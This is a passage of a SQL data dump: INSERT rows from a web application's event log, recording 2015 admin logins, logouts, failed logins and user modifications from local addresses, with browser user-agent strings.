(KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(327,'2015-02-16 21:20:03','USER_LOGIN',1,'2015-02-16 22:20:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(328,'2015-02-17 14:30:51','USER_LOGIN',1,'2015-02-17 15:30:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(329,'2015-02-17 17:21:22','USER_LOGIN',1,'2015-02-17 18:21:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(330,'2015-02-17 17:48:43','USER_MODIFY',1,'2015-02-17 18:48:43',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(331,'2015-02-17 17:48:47','USER_MODIFY',1,'2015-02-17 18:48:47',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(332,'2015-02-17 17:48:51','USER_MODIFY',1,'2015-02-17 18:48:51',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(333,'2015-02-17 17:48:56','USER_MODIFY',1,'2015-02-17 18:48:56',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(334,'2015-02-18 22:00:01','USER_LOGIN',1,'2015-02-18 23:00:01',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(335,'2015-02-19 08:19:52','USER_LOGIN',1,'2015-02-19 09:19:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(336,'2015-02-19 22:00:52','USER_LOGIN',1,'2015-02-19 23:00:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(337,'2015-02-20 09:34:52','USER_LOGIN',1,'2015-02-20 10:34:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(338,'2015-02-20 13:12:28','USER_LOGIN',1,'2015-02-20 14:12:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(339,'2015-02-20 17:19:44','USER_LOGIN',1,'2015-02-20 18:19:44',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(340,'2015-02-20 19:07:21','USER_MODIFY',1,'2015-02-20 20:07:21',1,'Modification utilisateur adupont','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(341,'2015-02-20 19:47:17','USER_LOGIN',1,'2015-02-20 20:47:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(342,'2015-02-20 19:48:01','USER_MODIFY',1,'2015-02-20 20:48:01',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(343,'2015-02-21 08:27:07','USER_LOGIN',1,'2015-02-21 09:27:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(344,'2015-02-23 13:34:13','USER_LOGIN',1,'2015-02-23 14:34:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(345,'2015-02-24 01:06:41','USER_LOGIN_FAILED',1,'2015-02-24 02:06:41',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(346,'2015-02-24 01:06:45','USER_LOGIN_FAILED',1,'2015-02-24 02:06:45',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(347,'2015-02-24 01:06:55','USER_LOGIN_FAILED',1,'2015-02-24 02:06:55',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(348,'2015-02-24 01:07:03','USER_LOGIN_FAILED',1,'2015-02-24 02:07:03',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(349,'2015-02-24 01:07:21','USER_LOGIN_FAILED',1,'2015-02-24 02:07:21',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(350,'2015-02-24 01:08:12','USER_LOGIN_FAILED',1,'2015-02-24 02:08:12',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(351,'2015-02-24 01:08:42','USER_LOGIN_FAILED',1,'2015-02-24 02:08:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(352,'2015-02-24 01:08:50','USER_LOGIN_FAILED',1,'2015-02-24 02:08:50',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(353,'2015-02-24 01:09:08','USER_LOGIN_FAILED',1,'2015-02-24 02:09:08',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(354,'2015-02-24 01:09:42','USER_LOGIN_FAILED',1,'2015-02-24 02:09:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(355,'2015-02-24 01:09:50','USER_LOGIN_FAILED',1,'2015-02-24 02:09:50',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(356,'2015-02-24 01:10:05','USER_LOGIN_FAILED',1,'2015-02-24 02:10:05',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(357,'2015-02-24 01:10:22','USER_LOGIN_FAILED',1,'2015-02-24 02:10:22',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(358,'2015-02-24 01:10:30','USER_LOGIN_FAILED',1,'2015-02-24 02:10:30',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(359,'2015-02-24 01:10:56','USER_LOGIN_FAILED',1,'2015-02-24 02:10:56',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(360,'2015-02-24 01:11:26','USER_LOGIN_FAILED',1,'2015-02-24 02:11:26',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(361,'2015-02-24 01:12:06','USER_LOGIN_FAILED',1,'2015-02-24 02:12:06',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(362,'2015-02-24 01:21:14','USER_LOGIN_FAILED',1,'2015-02-24 02:21:14',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(363,'2015-02-24 01:21:25','USER_LOGIN_FAILED',1,'2015-02-24 02:21:25',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(364,'2015-02-24 01:21:54','USER_LOGIN_FAILED',1,'2015-02-24 02:21:54',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(365,'2015-02-24 01:22:14','USER_LOGIN_FAILED',1,'2015-02-24 02:22:14',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(366,'2015-02-24 01:22:37','USER_LOGIN_FAILED',1,'2015-02-24 02:22:37',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(367,'2015-02-24 01:23:01','USER_LOGIN_FAILED',1,'2015-02-24 02:23:01',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(368,'2015-02-24 01:23:39','USER_LOGIN_FAILED',1,'2015-02-24 02:23:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(369,'2015-02-24 01:24:04','USER_LOGIN_FAILED',1,'2015-02-24 02:24:04',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(370,'2015-02-24 01:24:39','USER_LOGIN_FAILED',1,'2015-02-24 02:24:39',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(371,'2015-02-24 01:25:01','USER_LOGIN_FAILED',1,'2015-02-24 02:25:01',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(372,'2015-02-24 01:25:12','USER_LOGIN_FAILED',1,'2015-02-24 02:25:12',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(373,'2015-02-24 01:27:30','USER_LOGIN_FAILED',1,'2015-02-24 02:27:30',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(374,'2015-02-24 01:28:00','USER_LOGIN_FAILED',1,'2015-02-24 02:28:00',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(375,'2015-02-24 01:28:35','USER_LOGIN_FAILED',1,'2015-02-24 02:28:35',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(376,'2015-02-24 01:29:03','USER_LOGIN_FAILED',1,'2015-02-24 02:29:03',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(377,'2015-02-24 01:29:55','USER_LOGIN_FAILED',1,'2015-02-24 02:29:55',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(378,'2015-02-24 01:32:40','USER_LOGIN_FAILED',1,'2015-02-24 02:32:40',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(379,'2015-02-24 01:39:33','USER_LOGIN_FAILED',1,'2015-02-24 02:39:33',NULL,'Identifiants login ou mot de passe incorrects - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(380,'2015-02-24 01:39:38','USER_LOGIN_FAILED',1,'2015-02-24 02:39:38',NULL,'Identifiants login ou mot de passe incorrects - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(381,'2015-02-24 01:39:47','USER_LOGIN_FAILED',1,'2015-02-24 02:39:47',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(382,'2015-02-24 01:40:54','USER_LOGIN_FAILED',1,'2015-02-24 02:40:54',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(383,'2015-02-24 01:47:57','USER_LOGIN_FAILED',1,'2015-02-24 02:47:57',NULL,'Identifiants login ou mot de passe incorrects - login=lmkm','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(384,'2015-02-24 01:48:05','USER_LOGIN_FAILED',1,'2015-02-24 02:48:05',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(385,'2015-02-24 01:48:07','USER_LOGIN_FAILED',1,'2015-02-24 02:48:07',NULL,'Unknown column \'u.lastname\' in \'field list\'','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(386,'2015-02-24 01:48:35','USER_LOGIN',1,'2015-02-24 02:48:35',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(387,'2015-02-24 01:56:32','USER_LOGIN',1,'2015-02-24 02:56:32',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(388,'2015-02-24 02:05:55','USER_LOGOUT',1,'2015-02-24 03:05:55',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(389,'2015-02-24 02:39:52','USER_LOGIN',1,'2015-02-24 03:39:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(390,'2015-02-24 02:51:10','USER_LOGOUT',1,'2015-02-24 03:51:10',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(391,'2015-02-24 12:46:41','USER_LOGIN',1,'2015-02-24 13:46:41',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(392,'2015-02-24 12:46:52','USER_LOGOUT',1,'2015-02-24 13:46:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(393,'2015-02-24 12:46:56','USER_LOGIN',1,'2015-02-24 13:46:56',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(394,'2015-02-24 12:47:56','USER_LOGOUT',1,'2015-02-24 13:47:56',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(395,'2015-02-24 12:48:00','USER_LOGIN',1,'2015-02-24 13:48:00',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(396,'2015-02-24 12:48:11','USER_LOGOUT',1,'2015-02-24 13:48:11',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(397,'2015-02-24 12:48:32','USER_LOGIN',1,'2015-02-24 13:48:32',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(398,'2015-02-24 12:52:22','USER_LOGOUT',1,'2015-02-24 13:52:22',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(399,'2015-02-24 12:52:27','USER_LOGIN',1,'2015-02-24 13:52:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(400,'2015-02-24 12:52:54','USER_LOGOUT',1,'2015-02-24 13:52:54',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(401,'2015-02-24 12:52:59','USER_LOGIN',1,'2015-02-24 13:52:59',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(402,'2015-02-24 12:55:39','USER_LOGOUT',1,'2015-02-24 13:55:39',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(403,'2015-02-24 12:55:59','USER_LOGIN',1,'2015-02-24 13:55:59',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(404,'2015-02-24 12:56:07','USER_LOGOUT',1,'2015-02-24 13:56:07',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(405,'2015-02-24 12:56:23','USER_LOGIN',1,'2015-02-24 13:56:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(406,'2015-02-24 12:56:46','USER_LOGOUT',1,'2015-02-24 13:56:46',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(407,'2015-02-24 12:58:30','USER_LOGIN',1,'2015-02-24 13:58:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(408,'2015-02-24 12:58:33','USER_LOGOUT',1,'2015-02-24 13:58:33',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(409,'2015-02-24 12:58:51','USER_LOGIN',1,'2015-02-24 13:58:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(410,'2015-02-24 12:58:58','USER_LOGOUT',1,'2015-02-24 13:58:58',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(411,'2015-02-24 13:18:53','USER_LOGIN',1,'2015-02-24 14:18:53',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(412,'2015-02-24 13:19:52','USER_LOGOUT',1,'2015-02-24 14:19:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(413,'2015-02-24 15:39:31','USER_LOGIN_FAILED',1,'2015-02-24 16:39:31',NULL,'ErrorBadValueForCode - login=admin','127.0.0.1',NULL,NULL,NULL,NULL,NULL),(414,'2015-02-24 15:42:07','USER_LOGIN',1,'2015-02-24 16:42:07',1,'(UserLogged,admin)','127.0.0.1',NULL,NULL,NULL,NULL,NULL),(415,'2015-02-24 15:42:52','USER_LOGOUT',1,'2015-02-24 16:42:52',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(416,'2015-02-24 16:04:21','USER_LOGIN',1,'2015-02-24 17:04:21',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(417,'2015-02-24 16:11:28','USER_LOGIN_FAILED',1,'2015-02-24 17:11:28',NULL,'ErrorBadValueForCode - login=admin','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(418,'2015-02-24 16:11:37','USER_LOGIN',1,'2015-02-24 17:11:37',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7',NULL,NULL,NULL,NULL),(419,'2015-02-24 16:36:52','USER_LOGOUT',1,'2015-02-24 17:36:52',1,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',NULL,NULL,NULL,NULL),(420,'2015-02-24 16:40:37','USER_LOGIN',1,'2015-02-24 17:40:37',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(421,'2015-02-24 16:57:16','USER_LOGIN',1,'2015-02-24 17:57:16',1,'(UserLogged,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(422,'2015-02-24 17:01:30','USER_LOGOUT',1,'2015-02-24 18:01:30',1,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (Linux; U; Android 2.2; en-us; sdk Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 - 2131034114',NULL,NULL,NULL,NULL),(423,'2015-02-24 17:02:33','USER_LOGIN',1,'2015-02-24 18:02:33',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 